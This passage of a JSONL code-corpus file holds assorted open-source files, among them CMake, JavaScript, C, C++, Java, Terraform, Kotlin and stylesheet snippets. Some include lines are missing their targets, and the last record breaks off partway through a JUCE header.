with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nset(CMAKE_OSX_SYSROOT iphoneos)\nset(CMAKE_OSX_ARCHITECTURES \"armv7\")\nset(CMAKE_XCODE_EFFECTIVE_PLATFORMS \"-iphoneos;-iphonesimulator\")\nset(CMAKE_XCODE_ATTRIBUTE_CODE_SIGNING_REQUIRED \"NO\")\nset(CMAKE_XCODE_ATTRIBUTE_ENABLE_BITCODE \"NO\")\n\n# skip TRY_COMPILE checks\nset(CMAKE_CXX_COMPILER_WORKS TRUE)\nset(CMAKE_C_COMPILER_WORKS TRUE)\n\n# force MAC_BUNDLE for executable\nset(CMAKE_MACOSX_BUNDLE YES)\n"} +{"text": "{\n \"id\": \"\",\n \"border_box\": {\n \"size\": [\n 1008,\n 10\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"content\": {\n \"size\": [\n 1008,\n 10\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"padding\": [\n 0,\n 0,\n 0,\n 0\n ],\n \"children\": [\n {\n \"id\": \"reference-overlapped-red\",\n \"border_box\": {\n \"size\": [\n 100,\n 100\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"content\": {\n \"size\": [\n 100,\n 100\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"padding\": [\n 0,\n 0,\n 0,\n 0\n ],\n \"tag\": \"div\",\n \"padding_box\": {\n \"size\": [\n 100,\n 100\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"border\": [\n 0,\n 0,\n 0,\n 0\n ]\n },\n {\n \"id\": \"constrained-grid\",\n \"border_box\": {\n \"size\": [\n 10,\n 10\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"content\": {\n \"size\": [\n 10,\n 10\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"padding\": [\n 0,\n 0,\n 0,\n 0\n ],\n \"children\": [\n {\n \"id\": \"test-grid-item-overlapping-green\",\n \"border_box\": {\n \"size\": [\n 100,\n 100\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"content\": {\n \"size\": [\n 100,\n 100\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"padding\": [\n 0,\n 0,\n 0,\n 0\n ],\n \"children\": [\n {\n \"id\": \"content-500x500\",\n \"border_box\": {\n \"size\": [\n 500,\n 500\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"content\": {\n \"size\": [\n 500,\n 500\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"padding\": [\n 0,\n 0,\n 0,\n 0\n ],\n \"tag\": \"div\",\n \"padding_box\": {\n \"size\": [\n 500,\n 500\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"border\": [\n 0,\n 0,\n 0,\n 0\n ]\n }\n ],\n \"tag\": \"div\",\n \"padding_box\": {\n \"size\": [\n 100,\n 100\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"border\": [\n 0,\n 0,\n 0,\n 0\n ]\n }\n ],\n \"tag\": \"div\",\n \"padding_box\": {\n \"size\": [\n 10,\n 10\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"border\": [\n 0,\n 0,\n 0,\n 0\n ]\n }\n ],\n \"tag\": \"body\",\n \"padding_box\": {\n \"size\": [\n 1008,\n 10\n ],\n \"position\": [\n 8,\n 8\n ]\n },\n \"border\": [\n 0,\n 0,\n 0,\n 0\n ]\n}"} +{"text": "var convert = require('./convert'),\n func = convert('toLower', require('../toLower'), require('./_falseOptions'));\n\nfunc.placeholder = require('./placeholder');\nmodule.exports = func;\n"} +{"text": "\n/*!\n * Connect - session - MemoryStore\n * Copyright(c) 2010 Sencha Inc.\n * Copyright(c) 2011 TJ Holowaychuk\n * MIT Licensed\n */\n\n/**\n * Module dependencies.\n */\n\nvar Store = require('./store')\n , utils = require('../../utils')\n , Session = require('./session');\n\n/**\n * Initialize a new `MemoryStore`.\n *\n * @api public\n */\n\nvar MemoryStore = module.exports = function MemoryStore() {\n this.sessions = {};\n};\n\n/**\n * Inherit from `Store.prototype`.\n */\n\nMemoryStore.prototype.__proto__ = Store.prototype;\n\n/**\n * Attempt to fetch session by the given `sid`.\n *\n * @param {String} sid\n * @param {Function} fn\n * @api public\n */\n\nMemoryStore.prototype.get = function(sid, fn){\n var self = this;\n process.nextTick(function(){\n var expires\n , sess = self.sessions[sid];\n if (sess) {\n sess = JSON.parse(sess);\n expires = 'string' == typeof sess.cookie.expires\n ? new Date(sess.cookie.expires)\n : sess.cookie.expires;\n if (!expires || new Date < expires) {\n fn(null, sess);\n } else {\n self.destroy(sid, fn);\n }\n } else {\n fn();\n }\n });\n};\n\n/**\n * Commit the given `sess` object associated with the given `sid`.\n *\n * @param {String} sid\n * @param {Session} sess\n * @param {Function} fn\n * @api public\n */\n\nMemoryStore.prototype.set = function(sid, sess, fn){\n var self = this;\n process.nextTick(function(){\n self.sessions[sid] = JSON.stringify(sess);\n fn && fn();\n });\n};\n\n/**\n * Destroy the session associated with the given `sid`.\n *\n * @param {String} sid\n * @api public\n */\n\nMemoryStore.prototype.destroy = function(sid, fn){\n var self = this;\n process.nextTick(function(){\n delete self.sessions[sid];\n fn && fn();\n });\n};\n\n/**\n * Invoke the given callback `fn` with all active sessions.\n *\n * @param {Function} fn\n * @api public\n */\n\nMemoryStore.prototype.all = function(fn){\n var arr = []\n , keys = Object.keys(this.sessions);\n for (var i = 0, len = keys.length; i < len; ++i) {\n arr.push(this.sessions[keys[i]]);\n }\n fn(null, arr);\n};\n\n/**\n * Clear all sessions.\n *\n * @param {Function} fn\n * @api public\n */\n\nMemoryStore.prototype.clear = function(fn){\n this.sessions = {};\n fn && fn();\n};\n\n/**\n * Fetch number of sessions.\n *\n * @param {Function} fn\n * @api public\n */\n\nMemoryStore.prototype.length = function(fn){\n fn(null, Object.keys(this.sessions).length);\n};\n"} +{"text": "wx-button {\r\n margin-top: 10px;\r\n margin-bottom: 10px;\r\n}\r\nwx-label {\r\n display: block;\r\n margin-top: 5px;\r\n}\r\n.picker-text {\r\n margin-left: 10px;\r\n position: relative;\r\n}\r\n"} +{"text": "//\n// AppDelegate.h\n// OpenGLES07-像素的代数运算\n//\n// Created by qinmin on 2017/2/16.\n// Copyright © 2017年 qinmin. All rights reserved.\n//\n\n#import \n\n@interface AppDelegate : UIResponder \n\n@property (strong, nonatomic) UIWindow *window;\n\n\n@end\n\n"} +{"text": "@import \"../common/var\";\n\n@include b(date-range-picker) {\n width: 646px;\n\n &.has-sidebar {\n width: 756px;\n }\n\n table {\n table-layout: fixed;\n width: 100%;\n }\n\n .el-picker-panel__body {\n min-width: 513px;\n }\n\n .el-picker-panel__content {\n margin: 0;\n }\n\n @include e(header) {\n position: relative;\n text-align: center;\n height: 28px;\n\n [class*=arrow-left] {\n float: left;\n }\n\n [class*=arrow-right] {\n float: right;\n }\n\n div {\n font-size: 16px;\n font-weight: 500;\n margin-right: 50px;\n }\n }\n\n @include e(content) {\n float: left;\n width: 50%;\n box-sizing: border-box;\n margin: 0;\n padding: 16px;\n\n @include when(left) {\n border-right: 1px solid $--datepicker-inner-border-color;\n }\n\n @include when(right) {\n .el-date-range-picker__header {\n\n div {\n margin-left: 50px;\n margin-right: 50px;\n }\n }\n }\n }\n\n @include e(editors-wrap) {\n box-sizing: border-box;\n display: table-cell;\n\n @include when(right) {\n text-align: right;\n }\n }\n\n @include e(time-header) {\n position: relative;\n border-bottom: 1px solid $--datepicker-inner-border-color;\n font-size: 12px;\n padding: 8px 5px 5px 5px;\n display: table;\n width: 100%;\n box-sizing: border-box;\n\n > .el-icon-arrow-right {\n font-size: 20px;\n vertical-align: middle;\n display: table-cell;\n color: $--datepicker-icon-color;\n }\n }\n\n @include e(time-picker-wrap) {\n position: relative;\n display: table-cell;\n padding: 0 5px;\n\n .el-picker-panel {\n position: absolute;\n top: 13px;\n right: 0;\n z-index: 1;\n background: $--color-white;\n }\n }\n}\n"} +{"text": "define(['../array/slice'], function(slice){\n\n /**\n * Return a function that will execute in the given context, optionally adding any additional supplied parameters to the beginning of the arguments collection.\n * @param {Function} fn Function.\n * @param {object} context Execution context.\n * @param {rest} args Arguments (0...n arguments).\n * @return {Function} Wrapped Function.\n */\n function bind(fn, context, args){\n var argsArr = slice(arguments, 2); //curried args\n return function(){\n return fn.apply(context, argsArr.concat(slice(arguments)));\n };\n }\n\n return bind;\n});\n\n"} +{"text": "/* dsa-sha1-sign.c\n\n The original DSA publickey algorithm, using SHA-1.\n\n Copyright (C) 2010 Niels Möller\n\n This file is part of GNU Nettle.\n\n GNU Nettle is free software: you can redistribute it and/or\n modify it under the terms of either:\n\n * the GNU Lesser General Public License as published by the Free\n Software Foundation; either version 3 of the License, or (at your\n option) any later version.\n\n or\n\n * the GNU General Public License as published by the Free\n Software Foundation; either version 2 of the License, or (at your\n option) any later version.\n\n or both in parallel, as here.\n\n GNU Nettle is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n General Public License for more details.\n\n You should have received copies of the GNU General Public License and\n the GNU Lesser General Public License along with this program. If\n not, see http://www.gnu.org/licenses/.\n*/\n\n#if HAVE_CONFIG_H\n# include \"config.h\"\n#endif\n\n#include \"dsa-compat.h\"\n\nint\ndsa_sha1_sign_digest(const struct dsa_public_key *pub,\n\t\t const struct dsa_private_key *key,\n\t\t void *random_ctx, nettle_random_func *random,\n\t\t const uint8_t *digest,\n\t\t struct dsa_signature *signature)\n{\n return dsa_sign((const struct dsa_params *) pub, key->x,\n\t\t random_ctx, random,\n\t\t SHA1_DIGEST_SIZE, digest, signature);\n}\n\n\nint\ndsa_sha1_sign(const struct dsa_public_key *pub,\n\t const struct dsa_private_key *key,\n\t void *random_ctx, nettle_random_func *random,\n\t struct sha1_ctx *hash,\n\t struct dsa_signature *signature)\n{\n uint8_t digest[SHA1_DIGEST_SIZE];\n sha1_digest(hash, sizeof(digest), digest);\n \n return dsa_sign((const struct dsa_params *) pub, key->x,\n\t\t random_ctx, random,\n\t\t sizeof(digest), digest, signature);\n}\n"} +{"text": "/*\n * Copyright (C) 2016 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not\n * use this file except in compliance with the License. You may obtain a copy of\n * the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n * License for the specific language governing permissions and limitations under\n * the License.\n */\n\npackage com.google.cloud.training.mlongcp;\n\nimport java.util.Arrays;\n\nimport org.apache.beam.sdk.coders.AvroCoder;\nimport org.apache.beam.sdk.coders.DefaultCoder;\n\n/**\n * @author vlakshmanan\n *\n */\n@DefaultCoder(AvroCoder.class)\npublic class Baby {\n public enum INPUTCOLS {\n weight_pounds,is_male,mother_age,plurality,gestation_weeks,key;\n }\n\n private String[] fields;\n\n public static Baby fromCsv(String line) {\n Baby f = new Baby();\n f.fields = line.split(\",\");\n if (f.fields.length == INPUTCOLS.values().length) {\n return f;\n }\n return null; // malformed\n }\n \n public String[] getFields() {\n return fields;\n }\n\n public String getField(INPUTCOLS col) {\n return fields[col.ordinal()];\n }\n\n public float getFieldAsFloat(INPUTCOLS col) {\n return Float.parseFloat(fields[col.ordinal()]);\n }\n \n public int getFieldAsInt(INPUTCOLS col) {\n return Integer.parseInt(fields[col.ordinal()]);\n }\n \n public float getFieldAsFloat(INPUTCOLS col, float defaultValue) {\n String s = fields[col.ordinal()];\n if (s.length() > 0) {\n return Float.parseFloat(s);\n } else {\n return defaultValue;\n }\n }\n\n public Baby newCopy() {\n Baby f = new Baby();\n f.fields = Arrays.copyOf(this.fields, this.fields.length);\n return f;\n }\n\n}\n"} +{"text": "\n#ifndef BOOST_MPL_AUX_SINGLE_ELEMENT_ITER_HPP_INCLUDED\n#define BOOST_MPL_AUX_SINGLE_ELEMENT_ITER_HPP_INCLUDED\n\n// Copyright Aleksey Gurtovoy 2000-2004\n//\n// Distributed under the Boost Software License, Version 1.0. \n// (See accompanying file LICENSE_1_0.txt or copy at \n// http://www.boost.org/LICENSE_1_0.txt)\n//\n// See http://www.boost.org/libs/mpl for documentation.\n\n// $Source: /cvsroot/boost/boost/boost/mpl/aux_/single_element_iter.hpp,v $\n// $Date: 2004/11/28 01:47:44 $\n// $Revision: 1.8 $\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\nnamespace boost { namespace mpl { \n\n#if !defined(BOOST_NO_TEMPLATE_PARTIAL_SPECIALIZATION)\n\nnamespace aux {\n\ntemplate< typename T, BOOST_MPL_AUX_NTTP_DECL(int, is_last_) >\nstruct sel_iter;\n\ntemplate< typename T >\nstruct sel_iter\n{\n typedef random_access_iterator_tag category;\n typedef sel_iter next;\n typedef T type;\n};\n\ntemplate< typename T >\nstruct sel_iter\n{\n typedef random_access_iterator_tag category;\n typedef sel_iter prior;\n};\n\n} // namespace aux\n\ntemplate< typename T, BOOST_MPL_AUX_NTTP_DECL(int, is_last_), typename Distance >\nstruct advance< aux::sel_iter,Distance>\n{\n typedef aux::sel_iter<\n T\n , ( is_last_ + BOOST_MPL_AUX_NESTED_VALUE_WKND(int, Distance) )\n > type;\n};\n\ntemplate< \n typename T\n , BOOST_MPL_AUX_NTTP_DECL(int, l1)\n , BOOST_MPL_AUX_NTTP_DECL(int, l2) \n >\nstruct distance< aux::sel_iter, aux::sel_iter >\n : int_<( l2 - l1 )>\n{\n};\n\n#else\n\nnamespace aux {\n\nstruct sel_iter_tag;\n\ntemplate< typename T, BOOST_MPL_AUX_NTTP_DECL(int, is_last_) >\nstruct sel_iter\n{\n enum { pos_ = is_last_ };\n typedef aux::sel_iter_tag tag;\n typedef random_access_iterator_tag category;\n\n typedef sel_iter next;\n typedef sel_iter prior;\n typedef T type;\n};\n\n} // namespace aux\n\ntemplate<> struct advance_impl\n{\n template< typename Iterator, typename N > struct apply\n {\n enum { pos_ = Iterator::pos_, n_ = N::value };\n typedef aux::sel_iter<\n typename Iterator::type\n , (pos_ + n_)\n > type;\n };\n};\n\ntemplate<> struct distance_impl\n{\n template< typename Iter1, typename Iter2 > struct apply\n {\n enum { pos1_ = Iter1::pos_, pos2_ = Iter2::pos_ };\n typedef int_<( pos2_ - pos1_ )> type;\n BOOST_STATIC_CONSTANT(int, value = ( pos2_ - pos1_ ));\n };\n};\n\n#endif // BOOST_NO_TEMPLATE_PARTIAL_SPECIALIZATION\n\n}}\n\n#endif // BOOST_MPL_AUX_SINGLE_ELEMENT_ITER_HPP_INCLUDED\n"} +{"text": "익명 VPN 서비스\n"} +{"text": "// Licensed to the Apache Software Foundation (ASF) under one\n// or more contributor license agreements. See the NOTICE file\n// distributed with this work for additional information\n// regarding copyright ownership. The ASF licenses this file\n// to you under the Apache License, Version 2.0 (the\n// \"License\"); you may not use this file except in compliance\n// with the License. You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing,\n// software distributed under the License is distributed on an\n// \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n// KIND, either express or implied. See the License for the\n// specific language governing permissions and limitations\n// under the License.\n\npackage org.apache.doris.common.util;\n\nimport org.apache.doris.common.Pair;\nimport org.apache.doris.proto.PUniqueId;\nimport org.apache.doris.thrift.TUniqueId;\n\nimport java.io.PrintWriter;\nimport java.io.StringWriter;\nimport java.text.DecimalFormat;\nimport java.util.UUID;\n\npublic class DebugUtil {\n public static final DecimalFormat DECIMAL_FORMAT_SCALE_3 = new DecimalFormat(\"#.000\");\n\n public static int THOUSAND = 1000;\n public static int MILLION = 1000 * THOUSAND;\n public static int BILLION = 1000 * MILLION;\n \n public static int SECOND = 1000; // ms\n public static int MINUTE = 60 * SECOND;\n public static int HOUR = 60 * MINUTE;\n \n public static long KILOBYTE = 1024;\n public static long MEGABYTE = 1024 * KILOBYTE;\n public static long GIGABYTE = 1024 * MEGABYTE;\n public static long TERABYTE = 1024 * GIGABYTE;\n\n public static Pair getUint(long value) {\n Double doubleValue = Double.valueOf(value);\n String unit = \"\";\n if (value >= BILLION) {\n unit = \"B\";\n doubleValue /= BILLION;\n } else if (value >= MILLION) {\n unit = \"M\";\n doubleValue /= MILLION;\n } else if (value >= THOUSAND) {\n unit = \"K\";\n doubleValue /= THOUSAND;\n } \n Pair returnValue = Pair.create(doubleValue, unit); \n return returnValue;\n }\n \n // Print the value (timestamp in ms) to builder\n // ATTN: for hour and minute granularity, we ignore ms precision.\n public static void printTimeMs(long value, StringBuilder builder) {\n long newValue = value;\n if (newValue == 0) {\n builder.append(\"0\");\n } else {\n boolean hour = false;\n boolean minute = false;\n if (newValue >= HOUR) {\n builder.append(newValue / HOUR).append(\"h\");\n newValue %= HOUR;\n hour = true;\n } \n if (newValue >= MINUTE) {\n builder.append(newValue / MINUTE).append(\"m\");\n newValue %= MINUTE;\n minute = true;\n }\n if (!hour && newValue >= SECOND) {\n builder.append(newValue / SECOND).append(\"s\");\n newValue %= SECOND;\n }\n if (!hour && !minute) {\n builder.append(newValue).append(\"ms\");\n }\n }\n }\n \n public static String getPrettyStringMs(long timestampMs) {\n StringBuilder builder = new StringBuilder();\n printTimeMs(timestampMs, builder);\n return builder.toString();\n }\n \n public static Pair getByteUint(long value) {\n Double doubleValue = Double.valueOf(value);\n String unit = \"\";\n if (value == 0) {\n // nothing\n unit = \"\";\n } else if (value > TERABYTE) {\n unit = \"TB\";\n doubleValue /= TERABYTE;\n } else if (value > GIGABYTE) {\n unit = \"GB\";\n doubleValue /= GIGABYTE;\n } else if (value > MEGABYTE ) {\n unit = \"MB\";\n doubleValue /= MEGABYTE;\n } else if (value > KILOBYTE) {\n unit = \"KB\";\n doubleValue /= KILOBYTE;\n } else {\n unit = \"B\";\n }\n Pair returnValue = Pair.create(doubleValue, unit); \n return returnValue;\n }\n\n public static String printId(final TUniqueId id) {\n if (id == null) {\n return \"\";\n }\n StringBuilder builder = new StringBuilder();\n builder.append(Long.toHexString(id.hi)).append(\"-\").append(Long.toHexString(id.lo));\n return builder.toString();\n }\n\n public static String printId(final UUID id) {\n TUniqueId tUniqueId = new TUniqueId(id.getMostSignificantBits(), id.getLeastSignificantBits());\n StringBuilder builder = new StringBuilder();\n builder.append(Long.toHexString(tUniqueId.hi)).append(\"-\").append(Long.toHexString(tUniqueId.lo));\n return builder.toString();\n }\n\n public static String printId(final PUniqueId id) {\n StringBuilder builder = new StringBuilder();\n builder.append(Long.toHexString(id.hi)).append(\"-\").append(Long.toHexString(id.lo));\n return builder.toString();\n }\n \n public static String getStackTrace(Exception e) {\n StringWriter sw = new StringWriter();\n e.printStackTrace(new PrintWriter(sw));\n return sw.toString();\n }\n}\n"} +{"text": "data \"aws_iam_policy_document\" \"assume_role_policy\" {\n # Allows AWS to execute the lambda function.\n statement {\n actions = [\"sts:AssumeRole\"]\n\n principals {\n type = \"Service\"\n identifiers = [\"lambda.amazonaws.com\"]\n }\n }\n}\n\ndata \"aws_iam_policy_document\" \"cloudwatch_policy\" {\n # Allow the lambda to output console.logs to CloudWatch.\n statement {\n actions = [\"logs:CreateLogGroup\", \"logs:CreateLogStream\", \"logs:PutLogEvents\"]\n resources = [\"*\"]\n }\n}\n\ndata \"aws_iam_policy_document\" \"sns_publish_policy\" {\n # SNS topics the lambda can publish to.\n statement {\n actions = [\"sns:Publish\"]\n resources = [\"${var.sns_publish_arns}\"]\n }\n}\n\ndata \"aws_iam_policy_document\" \"sqs_receive_policy\" {\n # SQS queues the lambda can receive messages from.\n statement {\n actions = [\"sqs:ReceiveMessage\"]\n resources = [\"${var.sqs_receive_arns}\"]\n }\n}\n\ndata \"aws_iam_policy_document\" \"sqs_send_policy\" {\n # SQS queues the lambda can send messages to.\n statement {\n actions = [\"sqs:SendMessage\"]\n resources = [\"${var.sqs_send_arns}\"]\n }\n}\n\ndata \"aws_iam_policy_document\" \"sqs_delete_policy\" {\n # SQS queues the lambda can delete messages from.\n statement {\n actions = [\"sqs:DeleteMessage\"]\n resources = [\"${var.sqs_delete_arns}\"]\n }\n}\n\ndata \"aws_iam_policy_document\" \"storage_bucket_policy\" {\n # gives permission to the lambda function to access the s3 bucket\n statement {\n actions = [\"s3:*\"]\n resources = [\"arn:aws:s3:::${var.storage_bucket}/*\"]\n }\n\n # gives permission to the lambda function to invalidate the cloudfront distribution\n statement {\n actions = [\"cloudfront:CreateInvalidation\"]\n resources = [\"*\"]\n }\n}\n"} +{"text": "\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\n\n"} +{"text": "#include \"tommath_private.h\"\n#ifdef S_MP_SQR_COMBA_C\n/* LibTomMath, multiple-precision integer library -- Tom St Denis */\n/* SPDX-License-Identifier: Unlicense */\n\n/* the jist of squaring...\n * you do like mult except the offset of the tmpx [one that\n * starts closer to zero] can't equal the offset of tmpy.\n * So basically you set up iy like before then you min it with\n * (ty-tx) so that it never happens. You double all those\n * you add in the inner loop\n\nAfter that loop you do the squares and add them in.\n*/\n\nmp_err s_mp_sqr_comba(const mp_int *a, mp_int *b)\n{\n int oldused, pa, ix;\n mp_digit W[MP_WARRAY];\n mp_word W1;\n mp_err err;\n\n /* grow the destination as required */\n pa = a->used + a->used;\n if ((err = mp_grow(b, pa)) != MP_OKAY) {\n return err;\n }\n\n /* number of output digits to produce */\n W1 = 0;\n for (ix = 0; ix < pa; ix++) {\n int tx, ty, iy, iz;\n mp_word _W;\n\n /* clear counter */\n _W = 0;\n\n /* get offsets into the two bignums */\n ty = MP_MIN(a->used-1, ix);\n tx = ix - ty;\n\n /* this is the number of times the loop will iterrate, essentially\n while (tx++ < a->used && ty-- >= 0) { ... }\n */\n iy = MP_MIN(a->used-tx, ty+1);\n\n /* now for squaring tx can never equal ty\n * we halve the distance since they approach at a rate of 2x\n * and we have to round because odd cases need to be executed\n */\n iy = MP_MIN(iy, ((ty-tx)+1)>>1);\n\n /* execute loop */\n for (iz = 0; iz < iy; iz++) {\n _W += (mp_word)a->dp[tx + iz] * (mp_word)a->dp[ty - iz];\n }\n\n /* double the inner product and add carry */\n _W = _W + _W + W1;\n\n /* even columns have the square term in them */\n if (((unsigned)ix & 1u) == 0u) {\n _W += (mp_word)a->dp[ix>>1] * (mp_word)a->dp[ix>>1];\n }\n\n /* store it */\n W[ix] = (mp_digit)_W & MP_MASK;\n\n /* make next carry */\n W1 = _W >> (mp_word)MP_DIGIT_BIT;\n }\n\n /* setup dest */\n oldused = b->used;\n b->used = a->used+a->used;\n\n for (ix = 0; ix < pa; ix++) {\n b->dp[ix] = W[ix] & MP_MASK;\n }\n\n /* clear unused digits [that existed in the old copy of c] */\n s_mp_zero_digs(b->dp + b->used, oldused - b->used);\n\n mp_clamp(b);\n return MP_OKAY;\n}\n#endif\n"} +{"text": "ParseError: Unrecognised input in {path}property-asterisk-only-name.less on line 2, column 5:\n1 a {\n2 * : 1;\n3 }\n"} +{"text": "/*\n * Licensed to the Apache Software Foundation (ASF) under one or more\n * contributor license agreements. See the NOTICE file distributed with\n * this work for additional information regarding copyright ownership.\n * The ASF licenses this file to you under the Apache License, Version 2.0\n * (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage org.apache.calcite.prepare;\n\nimport org.apache.calcite.sql.advise.SqlAdvisor;\nimport org.apache.calcite.sql.validate.SqlMoniker;\nimport org.apache.calcite.sql.validate.SqlMonikerImpl;\nimport org.apache.calcite.sql.validate.SqlMonikerType;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nclass MapDSqlAdvisor extends SqlAdvisor {\n public MapDSqlAdvisor(MapDSqlAdvisorValidator validator) {\n super(validator);\n this.permissionsAwareValidator = validator;\n }\n\n @Override\n public List getCompletionHints(String sql, int cursor, String[] replaced) {\n // search backward starting from current position to find a \"word\"\n int wordStart = cursor;\n boolean quoted = false;\n while (wordStart > 0 && Character.isJavaIdentifierPart(sql.charAt(wordStart - 1))) {\n --wordStart;\n }\n if ((wordStart > 0) && (sql.charAt(wordStart - 1) == '\"')) {\n quoted = true;\n --wordStart;\n }\n\n if (wordStart < 0) {\n return java.util.Collections.emptyList();\n }\n\n // Search forwards to the end of the word we should remove. Eat up\n // trailing double-quote, if any\n int wordEnd = cursor;\n while (wordEnd < sql.length()\n && Character.isJavaIdentifierPart(sql.charAt(wordEnd))) {\n ++wordEnd;\n }\n if (quoted && (wordEnd < sql.length()) && (sql.charAt(wordEnd) == '\"')) {\n ++wordEnd;\n }\n\n // remove the partially composed identifier from the\n // sql statement - otherwise we get a parser exception\n String word = replaced[0] = sql.substring(wordStart, cursor);\n if (wordStart < wordEnd) {\n sql = sql.substring(0, wordStart) + sql.substring(wordEnd, sql.length());\n }\n\n // The table hints come from validator with a database prefix,\n // which is inconsistent with how tables are used in the query.\n List completionHints =\n stripDatabaseFromTableHints(getCompletionHints0(sql, wordStart));\n\n if (permissionsAwareValidator.hasViolatedTablePermissions()) {\n return new ArrayList<>();\n }\n\n completionHints = applyPermissionsToTableHints(completionHints);\n\n // If cursor was part of the way through a word, only include hints\n // which start with that word in the result.\n final List result;\n if (word.length() > 0) {\n result = new java.util.ArrayList();\n if (quoted) {\n // Quoted identifier. Case-sensitive match.\n word = word.substring(1);\n for (SqlMoniker hint : completionHints) {\n String cname = hint.toString();\n if (cname.startsWith(word)) {\n result.add(hint);\n }\n }\n } else {\n // Regular identifier. Case-insensitive match.\n for (SqlMoniker hint : completionHints) {\n String cname = hint.toString();\n if ((cname.length() >= word.length())\n && cname.substring(0, word.length()).equalsIgnoreCase(word)) {\n result.add(hint);\n }\n }\n }\n } else {\n result = completionHints;\n }\n\n return result;\n }\n\n private static List stripDatabaseFromTableHints(\n final List completionHints) {\n List strippedCompletionHints = new ArrayList<>();\n for (final SqlMoniker hint : completionHints) {\n if (hint.getType() == SqlMonikerType.TABLE\n && hint.getFullyQualifiedNames().size() == 2) {\n final String tableName = hint.getFullyQualifiedNames().get(1);\n strippedCompletionHints.add(new SqlMonikerImpl(tableName, SqlMonikerType.TABLE));\n } else {\n strippedCompletionHints.add(hint);\n }\n }\n return strippedCompletionHints;\n }\n\n private List applyPermissionsToTableHints(\n final List completionHints) {\n List completionHintsWithPermissions = new ArrayList<>();\n for (final SqlMoniker hint : completionHints) {\n if (hint.getType() == SqlMonikerType.TABLE) {\n // Database was stripped in previous step.\n assert hint.getFullyQualifiedNames().size() == 1;\n // Don't return tables which aren't visible per the permissions.\n if (permissionsAwareValidator.tableViolatesPermissions(hint.toString())) {\n continue;\n } else {\n completionHintsWithPermissions.add(hint);\n }\n } else {\n completionHintsWithPermissions.add(hint);\n }\n }\n return completionHintsWithPermissions;\n }\n\n private MapDSqlAdvisorValidator permissionsAwareValidator;\n}\n"} +{"text": "package io.github.feelfreelinux.wykopmobilny.ui.fragments.entries\n\nimport dagger.Module\nimport dagger.android.ContributesAndroidInjector\n\n@Module\nabstract class EntriesFragmentProvider {\n @ContributesAndroidInjector(modules = [EntriesFragmentModule::class])\n abstract fun bindEntriesFragment(): EntriesFragment\n}"} +{"text": "/*\r\n ==============================================================================\r\n\r\n This file is part of the JUCE library.\r\n Copyright (c) 2017 - ROLI Ltd.\r\n\r\n JUCE is an open source library subject to commercial or open-source\r\n licensing.\r\n\r\n By using JUCE, you agree to the terms of both the JUCE 5 End-User License\r\n Agreement and JUCE 5 Privacy Policy (both updated and effective as of the\r\n 27th April 2017).\r\n\r\n End User License Agreement: www.juce.com/juce-5-licence\r\n Privacy Policy: www.juce.com/juce-5-privacy-policy\r\n\r\n Or: You may also use this code under the terms of the GPL v3 (see\r\n www.gnu.org/licenses).\r\n\r\n JUCE IS PROVIDED \"AS IS\" WITHOUT ANY WARRANTY, AND ALL WARRANTIES, WHETHER\r\n EXPRESSED OR IMPLIED, INCLUDING MERCHANTABILITY AND FITNESS FOR PURPOSE, ARE\r\n DISCLAIMED.\r\n\r\n ==============================================================================\r\n*/\r\n\r\nnamespace juce\r\n{\r\n\r\n//==============================================================================\r\n/**\r\n The original JUCE look-and-feel, as used back from 2002 to about 2007ish.\r\n @see LookAndFeel, LookAndFeel_V2, LookAndFeel_V3\r\n\r\n @tags{GUI}\r\n*/\r\nclass JUCE_API LookAndFeel_V1 : public LookAndFeel_V2\r\n{\r\npublic:\r\n LookAndFeel_V1();\r\n ~LookAndFeel_V1() override;\r\n\r\n //==============================================================================\r\n void drawButtonBackground (Graphics&, Button&, const Colour& backgroundColour,\r\n bool shouldDrawButtonAsHighlighted, bool shouldDrawButtonAsDown) override;\r\n\r\n void drawToggleButton (Graphics&, ToggleButton&,\r\n bool shouldDrawButtonAsHighlighted, bool shouldDrawButtonAsDown) override;\r\n\r\n void drawTickBox (Graphics&, Component&, float x, float y, float w, float h,\r\n bool ticked, bool isEnabled,\r\n bool shouldDrawButtonAsHighlighted, 